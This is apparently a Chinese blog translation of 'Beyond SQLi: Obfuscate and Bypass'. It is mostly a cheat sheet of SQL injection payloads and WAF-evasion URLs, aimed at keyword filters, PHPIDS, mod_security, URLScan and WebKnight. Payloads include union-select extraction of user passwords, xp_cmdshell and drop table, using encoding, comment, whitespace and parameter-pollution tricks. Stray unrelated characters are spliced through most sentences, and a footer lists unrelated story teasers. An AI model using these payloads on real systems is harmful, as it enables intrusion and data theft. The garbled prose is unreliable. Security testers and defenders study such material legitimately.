Beyond SQLi: Obfuscate and Bypass簡譯

英文原文

繞過函數(shù)和關(guān)鍵字過濾

  1. and, or
Filtered injection:    1 or 1 = 1      1 and 1 = 1
Bypassed injection:    1 || 1 = 1      1 && 1 = 1
  1. and, or, union
    PHP filter code: preg_match('/(and|or|union)/i', $id)
    union查詢經(jīng)常用來爆數(shù)據(jù)呻惕,被和諧了之后只能通過布爾方式注入了
Filtered injection: union select user, password from users
Bypassed injection:  1 || (select user from users where user_id = 1) = 'admin'
  1. and, or, union, where
    PHP filter code: preg_match('/(and|or|union|where)/i', $id)
    可以通過limit m,n定位是第幾條數(shù)據(jù)
    其中m是指記錄開始的index嚣艇,從0開始诡必,表示第一條記錄蚀腿,n是指從第m+1條開始屈雄,取n條贬芥。
Filtered injection:  1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection:  1 || (select user from users limit 1) = 'admin'
  1. and, or, union, where, limit
    PHP filter code: preg_match('/(and|or|union|where|limit)/i', $id)
`group by`故名思意就是分組赶促,一個(gè)id一個(gè)組社付。
Filtered injection: 1 || (select user from users limit 1) = 'admin'
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  1. and, or, union, where, limit, group by
    PHP filter code: preg_match('/(and|or|union|where|limit|group by)/i', $id)
    GROUP_CONCAT函數(shù)返回一個(gè)字符串結(jié)果好芭,該結(jié)果由分組中的值連接組合而成燃箭。substr就是截取字符了。
Filtered injection:  1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
  1. and, or, union, where, limit, group by, select
    過濾代碼就省略了舍败,跟上面相比多了個(gè)select
    into outfile導(dǎo)出結(jié)果到指定文件招狸,前提是能夠訪問的到吧敬拓,而且都能這樣了還不如直接getshell?
    而且沒有了select之后裙戏,如果列名不在前面的查詢語句的表中就沒用了乘凸。
Filtered injection:    1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection:    1 || 1 = 1 into outfile 'result.txt'
Bypassed injection:    1 || substr(user,1,1) = 'a'
  1. and, or, union, where, limit, group by, select, 單引號(hào)
    多了個(gè)unhex(),16進(jìn)制的匹配
Filtered injection:    1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection:    1 || user_id is not null
Bypassed injection:    1 || substr(user,1,1) = 0x61
Bypassed injection:    1 || substr(user,1,1) = unhex(61)
  1. and, or, union, where, limit, group by, select, ', hex
    CONV(N,from_base,to_base) 該函數(shù)返回值N從from_base到to_base進(jìn)制轉(zhuǎn)換的字符串挽懦。最小基數(shù)值是2翰意,最大值為36。
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
  1. and, or, union, where, limit, group by, select, ', hex, substr
    lpad(str,len,padstr) 返回字符串str信柿,左填充用字符串padstr填補(bǔ)到len字符長度冀偶。 如果str為大于len長,返回值被縮短至len個(gè)字符(即渔嚷,不能超過 len 長)进鸠。
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)
  1. and, or, union, where, limit, group by, select, ', hex, substr, 空白符
Filtered injection:    1 || lpad(user,7,1)
Bypassed injection:    1%0b||%0blpad(user,7,1)

繞過正則過濾

PHPIDS 通常會(huì)干掉包含了 = or ( or ' 后面跟著數(shù)字或字符的例如 1 or 1=1, 1 or '1', 1 or char(97). 然而,it can be bypassed using a statement that does not contain =, ( or ' symbols.
會(huì)被干掉的:

1 union select 1, table_name from information_schema.tables where table_name = 'users'
1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'
1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)

可以繞過的

1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273

繞過waf

  • 注釋符
    http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
  • 大小寫
    http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
  • 關(guān)鍵字替換
    http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
    插入空白符
    http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
    ps形病,如果碰到url重寫的話/**/是不能用的
    http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
    要換成%0b
    http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
  • 雙重編碼
    http://victim.com/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

mod_security

SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"

繞過
http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
我們看看發(fā)生了什么
mysql支持三種注釋符 #客年、-- 、/**/漠吻,這里還用了%0D%0A進(jìn)行換行
在waf看來量瓜,語句是這樣的

            0 div 1 union#foo*/*/bar
            select#foo
            1,2,current_user

在數(shù)據(jù)庫看來,語句是這樣的0 div 1 union select 1,2,current_user

  • 緩沖區(qū)溢出
    http://victim.com/news.php?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141 414141414141 .)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
  • 內(nèi)聯(lián)注釋(常見于過狗注入)
    http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--
    http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables /*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--

更高級的繞過方式

  • http參數(shù)污染(HTTP Parameter Pollution: Split and Join)
    http://victim.com/search.aspx?par1=val1&par1=val2
    簡單的說途乃,對于waf取得值是val1绍傲,而對于web服務(wù)器取得的值是val2,亦或者是val1耍共,val2的組合

    Web Server Parameter Interpretation Example
    ASP.NET/IIS Concatenation by comma par1=val1,val2
    ASP/IIS Concatenation by comma par1=val1,val2
    PHP/Apache The last param is resulting par1=val2
    JSP/Tomcat The first param is resulting par1=val1
    Perl/Apache The first param is resulting par1=val1
    DBMan Concatenation by two tildes par1=val1~~val2

bypass mod_security

這個(gè)url妥妥的會(huì)被攔截
http://victim.com/search.aspx?q=select name,password from users
用上參數(shù)污染就繞過了
http://victim.com/search.aspx?q=select name&q=password from users
waf眼中是這樣的

q=select name
q=password from users

iis眼中卻是這樣的q=select name,password from users

  • http參數(shù)污染2(HTTP Parameter Contamination)
    就是利用web服務(wù)器和waf對http請求的認(rèn)知的差異來繞過waf烫饼。

RFC 2396定義了這樣的東西
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved: ; / ? : @ & = + $ ,
Unwise: { } | \ ^ [ ] `

Query String Apache/2.2.16, PHP/5.3.3 IIS6/ASP
?test[1=2 test_1=2 test[1=2
?test=% test=% test=
?test%00=1 test=1 test=1
?test=1%001 NULL test=1
?test+d=1+2 test_d=1 2 test d=1 2
Keywords WAF ASP/ASP.NET
sele%ct * fr%om.. sele%ct * fr%om.. select * from..
;dr%op ta%ble xxx ;dr%op ta%ble xxx ;drop table xxx
<scr%ipt> <scr%ipt> <script>
<if%rame> <if%rame> <iframe>

asp和asp.net獨(dú)有的%號(hào)繞過

Keywords WAF ASP/ASP.NET
sele%ct * fr%om.. sele%ct * fr%om.. select * from..
;dr%op ta%ble xxx ;dr%op ta%ble xxx ;drop table xxx
<scr%ipt> <scr%ipt> <script>
<if%rame> <if%rame> <iframe>

bypass mod_security

Forbidden: http://localhost/?xp_cmdshell
Bypassed : http://localhost/?xp[cmdshell

bypass urlscan

Forbidden: http://localhost/test.asp?file=../bla.txt
Bypassed : http://localhost/test.asp?file=.%./bla.txt

Bypass AQTRONIX Webknight(也是360主機(jī)衛(wèi)士IIS版)

Forbidden: http://victim.com/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)
Bypassed : http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市试读,隨后出現(xiàn)的幾起案子杠纵,更是在濱河造成了極大的恐慌,老刑警劉巖钩骇,帶你破解...
    沈念sama閱讀 219,539評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件比藻,死亡現(xiàn)場離奇詭異,居然都是意外死亡倘屹,警方通過查閱死者的電腦和手機(jī)银亲,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,594評論 3 396
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來唐瀑,“玉大人,你說我怎么就攤上這事插爹『謇保” “怎么了请梢?”我有些...
    開封第一講書人閱讀 165,871評論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長力穗。 經(jīng)常有香客問我毅弧,道長,這世上最難降的妖魔是什么当窗? 我笑而不...
    開封第一講書人閱讀 58,963評論 1 295
  • 正文 為了忘掉前任够坐,我火速辦了婚禮,結(jié)果婚禮上崖面,老公的妹妹穿的比我還像新娘元咙。我一直安慰自己,他們只是感情好巫员,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,984評論 6 393
  • 文/花漫 我一把揭開白布庶香。 她就那樣靜靜地躺著,像睡著了一般简识。 火紅的嫁衣襯著肌膚如雪赶掖。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,763評論 1 307
  • 那天七扰,我揣著相機(jī)與錄音奢赂,去河邊找鬼。 笑死颈走,一個(gè)胖子當(dāng)著我的面吹牛膳灶,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播疫鹊,決...
    沈念sama閱讀 40,468評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼袖瞻,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了拆吆?” 一聲冷哼從身側(cè)響起聋迎,我...
    開封第一講書人閱讀 39,357評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎枣耀,沒想到半個(gè)月后霉晕,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,850評論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡捞奕,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,002評論 3 338
  • 正文 我和宋清朗相戀三年牺堰,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片颅围。...
    茶點(diǎn)故事閱讀 40,144評論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡伟葫,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出院促,到底是詐尸還是另有隱情筏养,我是刑警寧澤斧抱,帶...
    沈念sama閱讀 35,823評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站渐溶,受9級特大地震影響辉浦,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜茎辐,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,483評論 3 331
  • 文/蒙蒙 一宪郊、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧拖陆,春花似錦弛槐、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,026評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至孔飒,卻和暖如春灌闺,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背坏瞄。 一陣腳步聲響...
    開封第一講書人閱讀 33,150評論 1 272
  • 我被黑心中介騙來泰國打工桂对, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人鸠匀。 一個(gè)月前我還...
    沈念sama閱讀 48,415評論 3 373
  • 正文 我出身青樓蕉斜,卻偏偏與公主長得像,于是被迫代替她去往敵國和親缀棍。 傳聞我的和親對象是個(gè)殘疾皇子宅此,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,092評論 2 355

推薦閱讀更多精彩內(nèi)容